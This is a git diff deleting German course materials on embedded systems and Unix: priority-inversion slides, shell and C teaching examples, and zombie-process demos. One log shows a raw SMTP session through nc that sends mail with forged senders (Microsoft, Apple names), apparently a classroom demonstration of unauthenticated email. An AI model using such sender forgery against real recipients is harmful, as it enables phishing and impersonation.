-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \medskip
-
-  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
-  \bigskip
-
-  Gegenmaßnahmen
-  \begin{itemize}
-    \item
-      \newterm{Priority Inheritance -- Prioritätsvererbung}\\
-      Der Besitzer des Mutex erbt die Priorität\\
-      des Prozesses, der auf den Mutex wartet.
-    \smallskip
-    \item
-      \newterm{Priority Ceiling -- Prioritätsobergrenze}\\
-      Der Besitzer des Mutex bekommt sofort\\
-      die Priorität des höchstmöglichen Prozesses,\\
-      der evtl.\ den Mutex benötigen könnte.
-      \pause
-      \begin{picture}(0,0)
-        \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$
-          \begin{minipage}{4cm}
-            nur möglich, wenn\\
-            Mutexe im Spiel sind
-          \end{minipage}}}
-      \end{picture}
-    \smallskip
-    \pause
-    \item
-      \newterm{Priority Aging}\\
-      Die Priorität wächst mit der Wartezeit.
-  \end{itemize}
-  \vspace*{-1cm}
-
-\end{frame}
-
-\end{document}
diff --git a/20161006/unix-20161006.pdf b/20161006/unix-20161006.pdf
deleted file mode 100644
index 13af3df37127ad219d551e9ba2a58c4f00f6b4b7..0000000000000000000000000000000000000000
Binary files a/20161006/unix-20161006.pdf and /dev/null differ
diff --git a/20161006/wp-systemtechnik.png b/20161006/wp-systemtechnik.png
deleted file mode 100644
index 63a4ed8cce25f9317c17b67208082ae9552f1b06..0000000000000000000000000000000000000000
Binary files a/20161006/wp-systemtechnik.png and /dev/null differ
diff --git a/20161006/xbee.jpg b/20161006/xbee.jpg
deleted file mode 120000
index ff0adff2eadf3d9b775d03cea8cf1f118534e2b9..0000000000000000000000000000000000000000
--- a/20161006/xbee.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/xbee.jpg
\ No newline at end of file
diff --git a/20161013/cool.sh b/20161013/cool.sh
deleted file mode 100644
index efeff447842644e299e47dda10bd73cf6958cc52..0000000000000000000000000000000000000000
--- a/20161013/cool.sh
+++ /dev/null
@@ -1 +0,0 @@
-while true; do echo -n "Shell-Programmierung ist cool. :-)   "; sleep 0.5s; done
diff --git a/20161013/fehler.txt b/20161013/fehler.txt
deleted file mode 100644
index 7df7bbb4505ba2b362f43173ded3b955fc5e6542..0000000000000000000000000000000000000000
--- a/20161013/fehler.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-cat: gibtsnicht.txt: Datei oder Verzeichnis nicht gefunden
-cat: gibtsnicht.txt: Datei oder Verzeichnis nicht gefunden
diff --git a/20161013/foo/test.c b/20161013/foo/test.c
deleted file mode 100755
index a8561e00558a0c71f977cb12c7476dd97875bcdd..0000000000000000000000000000000000000000
Binary files a/20161013/foo/test.c and /dev/null differ
diff --git a/20161013/grep.err b/20161013/grep.err
deleted file mode 100644
index c0cecdc84b22acc90d142ded1a106491878c950a..0000000000000000000000000000000000000000
--- a/20161013/grep.err
+++ /dev/null
@@ -1,4 +0,0 @@
-grep: bla: Ist ein Verzeichnis
-grep: foo: Ist ein Verzeichnis
-grep: die Eingabedatei „grep.log“ ist auch die Ausgabedatei
-grep: test-2.txt: Datei oder Verzeichnis nicht gefunden
diff --git a/20161013/grep.log b/20161013/grep.log
deleted file mode 100644
index 09f4b1b107ba796f3cc1f10267583a7564c44e47..0000000000000000000000000000000000000000
--- a/20161013/grep.log
+++ /dev/null
@@ -1,17 +0,0 @@
-Übereinstimmungen in Binärdatei test.
-test-1.txt:Dies ist ein Test.
-test-1.txt:Ein Test.
-test-1.txt:Dies ist ein Test.
-test-1.txt:Ein Test.
-test-1.txt:Ein Test.
-test-3.txt:Dies ist ein Test.
-test-3.txt:Ein Test.
-test-3.txt:Dies ist ein Test.
-test-3.txt:Ein Test.
-test-3.txt:Ein Test.
-test-4.txt:Dies ist ein Test.
-test-4.txt:Ein Test.
-test-4.txt:Dies ist ein Test.
-test-4.txt:Ein Test.
-test-4.txt:Ein Test.
-test.c:  printf ("Dies ist ein Test.\n");
diff --git a/20161013/klausur-zip.sh b/20161013/klausur-zip.sh
deleted file mode 100644
index 9d525cd847827d4b35bd839597f365ec8d16b2b1..0000000000000000000000000000000000000000
--- a/20161013/klausur-zip.sh
+++ /dev/null
@@ -1 +0,0 @@
-zip gerwinski-klausuren.zip $(find ~/bo -name "*klausur*.pdf" | grep -v fig)
diff --git a/20161013/make-klausur-zip.sh b/20161013/make-klausur-zip.sh
deleted file mode 100644
index f2658dc69ddde92c4f3a59ae8a01bf2d44c738b0..0000000000000000000000000000000000000000
--- a/20161013/make-klausur-zip.sh
+++ /dev/null
@@ -1 +0,0 @@
-echo 'zip gerwinski-klausuren.zip $(find ~/bo -name "*klausur*.pdf" | grep -v fig)' > klausur-zip.sh
diff --git a/20161013/tafelbild-20161013-112458.jpg b/20161013/tafelbild-20161013-112458.jpg
deleted file mode 100644
index 201130a2037912fcab129ba36a9e00bf15c3fe46..0000000000000000000000000000000000000000
Binary files a/20161013/tafelbild-20161013-112458.jpg and /dev/null differ
diff --git a/20161013/test b/20161013/test
deleted file mode 100755
index a8561e00558a0c71f977cb12c7476dd97875bcdd..0000000000000000000000000000000000000000
Binary files a/20161013/test and /dev/null differ
diff --git a/20161013/test-1.sh b/20161013/test-1.sh
deleted file mode 100755
index 7bcac8bfc897131206cb32ba88d805ed03dca042..0000000000000000000000000000000000000000
--- a/20161013/test-1.sh
+++ /dev/null
@@ -1 +0,0 @@
-ls -l
diff --git a/20161013/test-1.txt b/20161013/test-1.txt
deleted file mode 100644
index 4b4b82bcfe3247fd2d31b3d291e6bbbe9176fa96..0000000000000000000000000000000000000000
--- a/20161013/test-1.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-Dies ist ein Test.
-Was ist das?
-Ein Test.
-
-Dies ist ein Test.
-Was ist das?
-Was ist das?
-Ein Test.
-Ein Test.
diff --git a/20161013/test-2.sh b/20161013/test-2.sh
deleted file mode 100755
index 8f1e1031454c615b584526052a5bd3cd84ef9ac9..0000000000000000000000000000000000000000
--- a/20161013/test-2.sh
+++ /dev/null
@@ -1,2 +0,0 @@
-#!/bin/bash
-ls -l
diff --git a/20161013/test-2.txt b/20161013/test-2.txt
deleted file mode 120000
index 541cb64f9b85000af670c5b925fa216ac6f98291..0000000000000000000000000000000000000000
--- a/20161013/test-2.txt
+++ /dev/null
@@ -1 +0,0 @@
-test.txt
\ No newline at end of file
diff --git a/20161013/test-3.bc b/20161013/test-3.bc
deleted file mode 100755
index 89da795394dc1d0d77ce2a98b801b804e9ecdf5f..0000000000000000000000000000000000000000
--- a/20161013/test-3.bc
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/usr/bin/bc
-1 + 1
-2 + 2
-2^128
-quit
diff --git a/20161013/test-3.txt b/20161013/test-3.txt
deleted file mode 100644
index 4b4b82bcfe3247fd2d31b3d291e6bbbe9176fa96..0000000000000000000000000000000000000000
--- a/20161013/test-3.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-Dies ist ein Test.
-Was ist das?
-Ein Test.
-
-Dies ist ein Test.
-Was ist das?
-Was ist das?
-Ein Test.
-Ein Test.
diff --git a/20161013/test-4.txt b/20161013/test-4.txt
deleted file mode 100644
index 4b4b82bcfe3247fd2d31b3d291e6bbbe9176fa96..0000000000000000000000000000000000000000
--- a/20161013/test-4.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-Dies ist ein Test.
-Was ist das?
-Ein Test.
-
-Dies ist ein Test.
-Was ist das?
-Was ist das?
-Ein Test.
-Ein Test.
diff --git a/20161013/test-5.txt b/20161013/test-5.txt
deleted file mode 100644
index 4783efb16610f4b25eb98e299dc6fda56b42de0a..0000000000000000000000000000000000000000
--- a/20161013/test-5.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-Hello, world!
-Praktisch. :-)
diff --git a/20161013/test.bc b/20161013/test.bc
deleted file mode 100644
index a922b775b5315bf2bc04d96cbdaba8d32c911404..0000000000000000000000000000000000000000
--- a/20161013/test.bc
+++ /dev/null
@@ -1 +0,0 @@
-2 + 2
diff --git a/20161020/arrays-1.c b/20161020/arrays-1.c
deleted file mode 100644
index 6e789005949050ecc228502b51458cef64754d66..0000000000000000000000000000000000000000
--- a/20161020/arrays-1.c
+++ /dev/null
@@ -1,9 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  int hello[] = { 84, 101, 115, 116, 0 };
-  for (int i = 0; hello[i]; i++)
-    printf ("%d\n", hello[i]);
-  return 0;
-}
diff --git a/20161020/arrays-13.c b/20161020/arrays-13.c
deleted file mode 100644
index b279c2c7fc6dd72387bf2e134ee3d4201d77b864..0000000000000000000000000000000000000000
--- a/20161020/arrays-13.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char a[][5] = { "Dies", "ist", "ein", "Test" };
-
-  for (int i = 0; i < 4; i++)
-    {
-      for (int j = 0; a[i][j]; j++)
-        printf ("%c", a[i][j]);
-      printf ("\n");
-    }
-  return 0;
-}
diff --git a/20161020/arrays-14.c b/20161020/arrays-14.c
deleted file mode 100644
index 67e15b0644ccbf1f49a55ea08fc5beb6c701d914..0000000000000000000000000000000000000000
--- a/20161020/arrays-14.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char a[][] = { "Dies", "ist", "ein", "Test" };
-
-  for (int i = 0; i < 4; i++)
-    {
-      for (int j = 0; a[i][j]; j++)
-        printf ("%c", a[i][j]);
-      printf ("\n");
-    }
-  return 0;
-}
diff --git a/20161020/arrays-15.c b/20161020/arrays-15.c
deleted file mode 100644
index dca22529246a634b8fafd323b0e055ecd8cde510..0000000000000000000000000000000000000000
--- a/20161020/arrays-15.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char a[][5] = { "Dies", "ist", "ein", "Test" };
-  char **p = a;
-
-  for (int i = 0; i < 4; i++)
-    {
-      for (int j = 0; p[i][j]; j++)
-        printf ("%c", p[i][j]);
-      printf ("\n");
-    }
-  return 0;
-}
diff --git a/20161020/arrays-16.c b/20161020/arrays-16.c
deleted file mode 100644
index 299de329caa832ae339531976635fcc18819f4ae..0000000000000000000000000000000000000000
--- a/20161020/arrays-16.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char a[][5] = { "Dies", "ist", "ein", "Test" };
-  char *p = a[0];
-
-  for (int i = 0; i < 4; i++)
-    {
-      for (int j = 0; p[i][j]; j++)
-        printf ("%c", p[i][j]);
-      printf ("\n");
-    }
-  return 0;
-}
diff --git a/20161020/arrays-17.c b/20161020/arrays-17.c
deleted file mode 100644
index 737fdb9fb62ab71b224861f0a955c75fad921686..0000000000000000000000000000000000000000
--- a/20161020/arrays-17.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char a[][5] = { "Dies", "ist", "ein", "Test" };
-  char *p = a[0];
-
-  for (int i = 0; i < 4; i++)
-    {
-      for (int j = 0; p[i]; j++)
-        printf ("%c", p[j]);
-      printf ("\n");
-    }
-  return 0;
-}
diff --git a/20161020/arrays-18.c b/20161020/arrays-18.c
deleted file mode 100644
index 76e69b017f2340f0619915301f7d8f84c3ec6a87..0000000000000000000000000000000000000000
--- a/20161020/arrays-18.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char a[][5] = { "Dies", "ist", "ein", "Test" };
-  char *p = a[0];
-
-  for (int i = 0; i < 4; i++)
-    {
-      for (int j = 0; p[j]; j++)
-        printf ("%c", p[j]);
-      printf ("\n");
-    }
-  return 0;
-}
diff --git a/20161020/arrays-19.c b/20161020/arrays-19.c
deleted file mode 100644
index 806d97186992422d30734804988313add3295841..0000000000000000000000000000000000000000
--- a/20161020/arrays-19.c
+++ /dev/null
@@ -1,16 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char a[][5] = { "Dies", "ist", "ein", "Test" };
-  char *p;
-
-  for (int i = 0; i < 4; i++)
-    {
-      p = a[i];
-      for (int j = 0; p[j]; j++)
-        printf ("%c", p[j]);
-      printf ("\n");
-    }
-  return 0;
-}
diff --git a/20161020/arrays-2.c b/20161020/arrays-2.c
deleted file mode 100644
index 72e548bcaa5525cc510558e6e5e342132034fa01..0000000000000000000000000000000000000000
--- a/20161020/arrays-2.c
+++ /dev/null
@@ -1,9 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  int hello[] = { 84, 101, 115, 116, 0 };
-  for (int i = 0; hello[i]; i++)
-    printf ("%c\n", hello[i]);
-  return 0;
-}
diff --git a/20161020/arrays-20.c b/20161020/arrays-20.c
deleted file mode 100644
index ac7237126792505a10481ceffddfeb24fc6773e4..0000000000000000000000000000000000000000
--- a/20161020/arrays-20.c
+++ /dev/null
@@ -1,16 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char a[][5] = { "Dies", "ist", "ein", "Test" };
-  char *p = a[0];
-
-  for (int i = 0; i < 4; i++)
-    {
-      for (int j = 0; p[j]; j++)
-        printf ("%c", p[j]);
-      printf ("\n");
-      p++;
-    }
-  return 0;
-}
diff --git a/20161020/arrays-21.c b/20161020/arrays-21.c
deleted file mode 100644
index 935ba0b5ce0427a13adf76725f4ab9bab1215d6f..0000000000000000000000000000000000000000
--- a/20161020/arrays-21.c
+++ /dev/null
@@ -1,16 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char a[][5] = { "Dies", "ist", "ein", "Test" };
-  char *p = a[0];
-
-  for (int i = 0; i < 4; i++)
-    {
-      for (int j = 0; p[j]; j++)
-        printf ("%c", p[j]);
-      printf ("\n");
-      p += 5;
-    }
-  return 0;
-}
diff --git a/20161020/arrays-22.c b/20161020/arrays-22.c
deleted file mode 100644
index 8af94c288811b9d1b9ff7f4038a722c776539b48..0000000000000000000000000000000000000000
--- a/20161020/arrays-22.c
+++ /dev/null
@@ -1,17 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  typedef char string5[5];
-  string5 a[] = { "Dies", "ist", "ein", "Test" };
-  string5 *p = a;
-
-  for (int i = 0; i < 4; i++)
-    {
-      for (int j = 0; p[j]; j++)
-        printf ("%c", p[j]);
-      printf ("\n");
-      p++;
-    }
-  return 0;
-}
diff --git a/20161020/arrays-23.c b/20161020/arrays-23.c
deleted file mode 100644
index 910e7249ed4de51e621247118ccafa0edfe8bb65..0000000000000000000000000000000000000000
--- a/20161020/arrays-23.c
+++ /dev/null
@@ -1,17 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  typedef char string5[5];
-  string5 a[] = { "Dies", "ist", "ein", "Test" };
-  string5 *p = a;
-
-  for (int i = 0; i < 4; i++)
-    {
-      for (int j = 0; (*p)[j]; j++)
-        printf ("%c", (*p)[j]);
-      printf ("\n");
-      p++;
-    }
-  return 0;
-}
diff --git a/20161020/arrays-24.c b/20161020/arrays-24.c
deleted file mode 100644
index 43d6c94c65e391430f81ea01192403aa21342db5..0000000000000000000000000000000000000000
--- a/20161020/arrays-24.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  typedef char string5[5];
-  string5 a[] = { "Dies", "ist", "ein", "Test" };
-  string5 *p = a;
-
-  for (int i = 0; i < 4; i++)
-    {
-      printf ("%s\n", (*p)[i]);
-      p++;
-    }
-  return 0;
-}
diff --git a/20161020/arrays-25.c b/20161020/arrays-25.c
deleted file mode 100644
index 357024857ec02f66df155c6bb70c192a7f718f71..0000000000000000000000000000000000000000
--- a/20161020/arrays-25.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  typedef char string5[5];
-  string5 a[] = { "Dies", "ist", "ein", "Test" };
-  string5 *p = a;
-
-  for (int i = 0; i < 4; i++)
-    {
-      printf ("%s\n", &((*p)[i]));
-      p++;
-    }
-  return 0;
-}
diff --git a/20161020/arrays-26.c b/20161020/arrays-26.c
deleted file mode 100644
index 9a6d4eb28d0e45932dbc7d9db0ef5dfd0789f721..0000000000000000000000000000000000000000
--- a/20161020/arrays-26.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  typedef char string5[5];
-  string5 a[] = { "Dies", "ist", "ein", "Test" };
-  string5 *p = a;
-
-  for (int i = 0; i < 5; i++)
-    {
-      printf ("%s\n", &((*p)[i]));
-      p++;
-    }
-  return 0;
-}
diff --git a/20161020/arrays-27.c b/20161020/arrays-27.c
deleted file mode 100644
index 8253b70733c00170f9665b8d6c55c334ec08dd4f..0000000000000000000000000000000000000000
--- a/20161020/arrays-27.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  typedef char string5[5];
-  string5 a[] = { "Dies", "ist", "ein", "Test" };
-  string5 *p = a;
-
-  for (int i = 0; i < 4; i++)
-    {
-      printf ("%s\n", &(*p));
-      p++;
-    }
-  return 0;
-}
diff --git a/20161020/arrays-28.c b/20161020/arrays-28.c
deleted file mode 100644
index 8d76a2a53ffb99efcb6595f76124566d4df45501..0000000000000000000000000000000000000000
--- a/20161020/arrays-28.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  typedef char string5[5];
-  string5 a[] = { "Dies", "ist", "ein", "Test" };
-  string5 *p = a;
-
-  for (int i = 0; i < 4; i++)
-    {
-      printf ("%s\n", &(*p)[0]);
-      p++;
-    }
-  return 0;
-}
diff --git a/20161020/arrays-29.c b/20161020/arrays-29.c
deleted file mode 100644
index 292fc4169287f8335b02094f5ef3bfb689fba1fd..0000000000000000000000000000000000000000
--- a/20161020/arrays-29.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  typedef char string5[5];
-  string5 *p = { "Dies", "ist", "ein", "Test" };
-
-  for (int i = 0; i < 4; i++)
-    {
-      printf ("%s\n", &(*p)[0]);
-      p++;
-    }
-  return 0;
-}
diff --git a/20161020/arrays-3.c b/20161020/arrays-3.c
deleted file mode 100644
index 93aef3d7ff7e0e0a2271296c8cb49417587e1f7b..0000000000000000000000000000000000000000
--- a/20161020/arrays-3.c
+++ /dev/null
@@ -1,10 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  int hello[] = { 84, 101, 115, 116, 0 };
-  for (int i = 0; hello[i]; i++)
-    printf ("%c", hello[i]);
-  printf ("\n");
-  return 0;
-}
diff --git a/20161020/arrays-4.c b/20161020/arrays-4.c
deleted file mode 100644
index 01dbb8280710a3a50560194c19b089476d13ac54..0000000000000000000000000000000000000000
--- a/20161020/arrays-4.c
+++ /dev/null
@@ -1,10 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  int hello[] = "Test";
-  for (int i = 0; hello[i]; i++)
-    printf ("%c", hello[i]);
-  printf ("\n");
-  return 0;
-}
diff --git a/20161020/arrays-5.c b/20161020/arrays-5.c
deleted file mode 100644
index 8f708c1ea911c39400cdb56b593000cb3499eb1e..0000000000000000000000000000000000000000
--- a/20161020/arrays-5.c
+++ /dev/null
@@ -1,10 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char hello[] = "Test";
-  for (int i = 0; hello[i]; i++)
-    printf ("%c", hello[i]);
-  printf ("\n");
-  return 0;
-}
diff --git a/20161020/arrays-6.c b/20161020/arrays-6.c
deleted file mode 100644
index d67c2ff17a3835c7b56a853cb84ff139bba5b41d..0000000000000000000000000000000000000000
--- a/20161020/arrays-6.c
+++ /dev/null
@@ -1,10 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char *hello = "Test";
-  for (int i = 0; hello[i]; i++)
-    printf ("%c", hello[i]);
-  printf ("\n");
-  return 0;
-}
diff --git a/20161020/arrays-7.c b/20161020/arrays-7.c
deleted file mode 100644
index c31665a05b04b07847f722043097dc58120e5573..0000000000000000000000000000000000000000
--- a/20161020/arrays-7.c
+++ /dev/null
@@ -1,17 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char a[] = "Test";
-  char *p = "Test";
-
-  for (int i = 0; a[i]; i++)
-    printf ("%c", a[i]);
-  printf ("\n");
-
-  for (int i = 0; p[i]; i++)
-    printf ("%c", p[i]);
-  printf ("\n");
-
-  return 0;
-}
diff --git a/20161020/arrays-8.c b/20161020/arrays-8.c
deleted file mode 100644
index c2e2e906e913415078dc35d20c13ae47eb444b74..0000000000000000000000000000000000000000
--- a/20161020/arrays-8.c
+++ /dev/null
@@ -1,19 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char a[] = "Test";
-  char *p = "Test";
-
-  p = "Hallo";
-
-  for (int i = 0; a[i]; i++)
-    printf ("%c", a[i]);
-  printf ("\n");
-
-  for (int i = 0; p[i]; i++)
-    printf ("%c", p[i]);
-  printf ("\n");
-
-  return 0;
-}
diff --git a/20161020/arrays-9.c b/20161020/arrays-9.c
deleted file mode 100644
index e39055aa246282bffc3dc41216c5f1d375cf5950..0000000000000000000000000000000000000000
--- a/20161020/arrays-9.c
+++ /dev/null
@@ -1,19 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char a[] = "Test";
-  char *p = "Test";
-
-  a = "Hallo";
-
-  for (int i = 0; a[i]; i++)
-    printf ("%c", a[i]);
-  printf ("\n");
-
-  for (int i = 0; p[i]; i++)
-    printf ("%c", p[i]);
-  printf ("\n");
-
-  return 0;
-}
diff --git a/20161020/photo-20161020-144921.jpg b/20161020/photo-20161020-144921.jpg
deleted file mode 100644
index 8ac1314c1730651b300cb27562946d1e28e6d4bf..0000000000000000000000000000000000000000
Binary files a/20161020/photo-20161020-144921.jpg and /dev/null differ
diff --git a/20161020/regular-expressions.log b/20161020/regular-expressions.log
deleted file mode 100644
index d8db10f9fc56db995452b33548942eb983309fa9..0000000000000000000000000000000000000000
--- a/20161020/regular-expressions.log
+++ /dev/null
@@ -1,29 +0,0 @@
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | grep "^H[aeiou]"
-Hello, world!
-cassini/home/peter/bo/2016ws/es/20161020> echo "HEllo, world!" | grep "^H[aeiou]"
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hxllo, world!" | grep "^H[aeiou]"
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hxllo, world!" | grep "^H[^xyz]"
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | grep "^H[^xyz]"
-Hello, world!
-cassini/home/peter/bo/2016ws/es/20161020> cat xkcd.sh
-#!/bin/sh
-echo -n "http:"
-curl -s http://xkcd.com \
-  | grep "img src="  \
-  | grep -v "terrible_small_logo" \
-  | grep -v "Selected Comics" \
-  | sed -e 's/^[^"]*"//' \
-  | sed -e 's/".*$//'
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/ll/xx/'
-Hexxo, world!
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/ll//'
-Heo, world!
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/^ll//'
-Hello, world!
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/^.*ll//'
-o, world!
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/^[aeiou]*ll//'
-Hello, world!
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/^[Haeiou]*ll//'
-o, world!
-cassini/home/peter/bo/2016ws/es/20161020>
diff --git a/20161020/xkcd.sh b/20161020/xkcd.sh
deleted file mode 100755
index 1f3527422d2952ed52af749335fffe8a62ca6cfe..0000000000000000000000000000000000000000
--- a/20161020/xkcd.sh
+++ /dev/null
@@ -1,8 +0,0 @@
-#!/bin/sh
-echo -n "http:"
-curl -s http://xkcd.com \
-  | grep "img src="  \
-  | grep -v "terrible_small_logo" \
-  | grep -v "Selected Comics" \
-  | sed -e 's/^[^"]*"//' \
-  | sed -e 's/".*$//'
diff --git a/20161027/photo-20161027-111856.jpg b/20161027/photo-20161027-111856.jpg
deleted file mode 100644
index 2ed69559e83f48717668f359babae845e83a9d61..0000000000000000000000000000000000000000
Binary files a/20161027/photo-20161027-111856.jpg and /dev/null differ
diff --git a/20161027/photo-20161027-183901.jpg b/20161027/photo-20161027-183901.jpg
deleted file mode 100644
index fd217d444deb561366b891b07322629683df98fd..0000000000000000000000000000000000000000
Binary files a/20161027/photo-20161027-183901.jpg and /dev/null differ
diff --git a/20161027/smtp-20161027.log b/20161027/smtp-20161027.log
deleted file mode 100644
index d5bab849b87044f577d9d8eda19af036d56d1dcd..0000000000000000000000000000000000000000
--- a/20161027/smtp-20161027.log
+++ /dev/null
@@ -1,27 +0,0 @@
-phoenix/home/peter> nc 88.198.170.60 25
-220 mx1.gerwinski.de ESMTP Exim 4.84_2 Thu, 27 Oct 2016 11:57:23 +0200
-HELO hs-bochum.de
-250 mx1.gerwinski.de Hello office.g-n-u.de [82.207.128.254]
-MAIL FROM: <gates@microsoft.com>
-250 OK
-RCPT TO: <peter@gerwinski.de>
-550 Unrouteable address
-RCPT TO: <peter@gerwinski.de>
-250 Accepted
-DATA
-354 Enter message, ending with "." on a line by itself
-Subject: Hi! B-)
-From: Steve Jobs <jobs@apple.com>
-To: Peter Gerwinski <gnu@gnu.de>
-
-Dies ist ein Test.
-
-Schöne Grüße
-
-    Peter
-.
-250 OK id=1bzhSe-0008U6-H7
-QUIT
-221 mx1.gerwinski.de closing connection
-You might have new mail.
-phoenix/home/peter>
diff --git a/20161103/make-zombies-1.c b/20161103/make-zombies-1.c
deleted file mode 100644
index 3626861d638c8ad6dc8c5c0831b9f5190e20a4dc..0000000000000000000000000000000000000000
--- a/20161103/make-zombies-1.c
+++ /dev/null
@@ -1,41 +0,0 @@
-#include <stdio.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <unistd.h>
- 
-int main(void){
-    pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse)
-    int i; // Laufvariable
- 
-    for (i = 0; i < 10; ++i) {
-        // Der Vaterprozess erzeugt nun einen Kindprozess,
-        // welcher unabh�ngig vom Vaterprozess mit der
-        // erneuten Ausf�hrung des Programms beginnt.
-        // Ein Kindprozess erzeugt keinen Fork von sich selbst.
-        pids[i] = fork();
-        if (pids[i] == 0) {
-            // dann befinden wir uns in einem der 10 Kindprozesse
-            // Der erste Kindprozess wartet 10 Sekunden und jeder
-            // weitere Kindprozess wartet 1 Sekunde k�rzer als der
-            // vorige.
-            printf ("%d BRAINS! ", i);
-            sleep(10-i);
-            exit(0); // Kindprozess erfolgreich beenden
-        }
-    }
-
-//
-    // hier kommt nur der Vaterprozess vorbei
-    for (i = 0; i < 10; ++i){
-        // Der Vaterprozess wartet nun, bis der Reihe nach jeder
-        // seiner 10 Kindprozesse beendet ist. Leider wird auf das
-        // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl
-        // die anderen Kinder l�ngst erfolgreich beendet wurden,
-        // blockiert das erste Kind eine Bereinigung der Prozesstabelle
-        waitpid(pids[i], NULL, 0);
-    }
-//
-
-//    while (1);
-    return 0; // Vaterprozess erfolgreich beenden
-}
diff --git a/20161103/make-zombies-2.c b/20161103/make-zombies-2.c
deleted file mode 100644
index d43b17e278e3df5c2373600753d6ac53d89f7af7..0000000000000000000000000000000000000000
--- a/20161103/make-zombies-2.c
+++ /dev/null
@@ -1,41 +0,0 @@
-#include <stdio.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <unistd.h>
- 
-int main(void){
-    pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse)
-    int i; // Laufvariable
- 
-    for (i = 0; i < 10; ++i) {
-        // Der Vaterprozess erzeugt nun einen Kindprozess,
-        // welcher unabh�ngig vom Vaterprozess mit der
-        // erneuten Ausf�hrung des Programms beginnt.
-        // Ein Kindprozess erzeugt keinen Fork von sich selbst.
-        pids[i] = fork();
-        if (pids[i] == 0) {
-            // dann befinden wir uns in einem der 10 Kindprozesse
-            // Der erste Kindprozess wartet 10 Sekunden und jeder
-            // weitere Kindprozess wartet 1 Sekunde k�rzer als der
-            // vorige.
-            printf ("%d BRAINS! ", i);
-            sleep(10-i);
-            exit(0); // Kindprozess erfolgreich beenden
-        }
-    }
-
-//
-//    // hier kommt nur der Vaterprozess vorbei
-//    for (i = 0; i < 10; ++i){
-//        // Der Vaterprozess wartet nun, bis der Reihe nach jeder
-//        // seiner 10 Kindprozesse beendet ist. Leider wird auf das
-//        // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl
-//        // die anderen Kinder l�ngst erfolgreich beendet wurden,
-//        // blockiert das erste Kind eine Bereinigung der Prozesstabelle
-//        waitpid(pids[i], NULL, 0);
-//    }
-//
-
-//    while (1);
-    return 0; // Vaterprozess erfolgreich beenden
-}
diff --git a/20161103/make-zombies-3.c b/20161103/make-zombies-3.c
deleted file mode 100644
index 82d671c075e1db7879e8b040f12a8543c0c7436a..0000000000000000000000000000000000000000
--- a/20161103/make-zombies-3.c
+++ /dev/null
@@ -1,41 +0,0 @@
-#include <stdio.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <unistd.h>
- 
-int main(void){
-    pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse)
-    int i; // Laufvariable
- 
-    for (i = 0; i < 10; ++i) {
